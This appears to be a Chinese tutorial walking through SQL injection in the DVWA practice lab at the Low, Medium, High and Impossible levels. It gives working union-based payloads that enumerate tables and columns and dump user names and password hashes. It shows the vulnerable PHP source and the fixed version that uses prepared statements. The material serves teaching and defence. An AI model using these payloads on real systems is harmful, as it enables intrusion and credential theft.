DVWA学习(一)SQL Injection
本文參考自https://www.jianshu.com/u/9dac23b54fba,根據自己的學習進度可能會有不同的地方,詳細可以查看原文鏈接。
SQL Injection,即SQL注入,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。
DVWA安全級別:LOW
- 輸入1:
- 輸入1’:
- 輸入1’:
(關于sql注入語句閉合的一些見解: https://blog.csdn.net/qiutyu/article/details/80314929)
一般的代碼:id=_GET[‘id’];
sql=“SELECT * FROM users WHERE id=‘id’ LIMIT 0,1”;
就是這里,對id進行了修飾,用’(單引號)把id括了起來。所以我們構造語句的時候,一是要把我們構造的語句‘逃逸’出來,二是要把結構進行補全或者適當的注釋。
-
輸入1’ or 1='1,顯示了所有姓名和ID,可以知道是用了while循環顯示(代入到id='id’中為id=‘1’ or 1=‘1’ )。url為http://127.0.0.1/vulnerabilities/sqli/?id=1%27+or+1%3D%271&Submit=Submit#
-
獲取字段長
1’ union select 1-- k報錯:SELECT語句中使用具有不同數目的列。說明表的字段數不為1。
The used SELECT statements have a different number of columns1’ union select 1,2-- k正常顯示,1,2號位也正常顯示出來
url為http://127.0.0.1/vulnerabilities/sqli/?id=1%27+union+select+1%2C2--+k&Submit=Submit# -
顯示數據庫名
1’ union select 1,database()-- k,2號位顯示數據庫名為dvwa。
url為http://127.0.0.1/vulnerabilities/sqli/?id=1%27+union+select+1%2Cdatabase%28%29--+k&Submit=Submit# -
爆表:
1’ union select 1,group_concat(0x3e,table_name) from information_schema.tables where table_schema=‘dvwa’ – k
-
爆列:
1’ union select 1,group_concat(0x3e,column_name) from information_schema.columns where table_schema=‘dvwa’ – k
-
爆出所有用戶名和密碼,根據之前爆表獲取到的表明users,以及爆列獲取到的列名user, password。
0’ union select user, password from users – k
low.php源碼,沒有任何過濾,最基本的SQL注入。
if( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]); }?>Medium級別
輸入框變成了下拉框
可以查看元素知道name=id,post表單,可以用burp抓包改id或者用hackbar。
使用HackBar插件,選擇POST發送方式,id=1’發現單引號被轉義了,執行無效。
id=1 or 1=1&Submit=Submit顯示所有ID和姓名,可以判斷是數字型。
注入的分類
注入的分類:數字型和字符型。攻擊者目的只有一點,那就是繞過程序的限制,使用戶輸入的數據帶入數據庫執行,利用數據庫的特殊性獲取更多的信息或者更大的權限。
1、數字型注入
當輸入的參數為整形時,如果存在注入漏洞,可以認為是數字型注入。
2、字符型注入
當輸入的參數為字符串時,稱為字符型。字符型和數字型最大的一個區別在于,數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的。
其余方法和LOW難度一樣
medium.php源碼:
High難度
變成了在另外一個窗口提交ID到該頁面,是字符型注入。
其余步驟和上面差不多
High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止一般的sqlmap注入,因為sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。
High.php源碼:
與Medium難度相比High難度沒有轉義函數,在SQL語句后面添加了一個limit,限制輸出結果為1條。雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。
安全級別: Impossible
源碼:
if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}} }// Generate Anti-CSRF token generateSessionToken();?>添加了token機制,防止CSRF攻擊。
SQL語句使用
PDO機制預處理語句
PHP PDO 預處理語句與存儲過程
原理:兩次傳輸,前一次傳一個sql模板,第二次傳查詢參數,會把第二步傳入的參數只做查詢參數處理,不做語義解釋,這樣注入的條件就算執行了,也不會得到查詢結果。
劃清了代碼與數據的界限,可以確保不會發生SQL 注入。(然而,如果查詢的其他部分是由未轉義的輸入來構建的,則仍存在 SQL 注入的風險)。
總結
以上是生活随笔為你收集整理的DVWA学习(一)SQL Injection的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SQLMAP注入教程-11种常见SQLM
- 下一篇: DVWA学习(二)SQL Injecti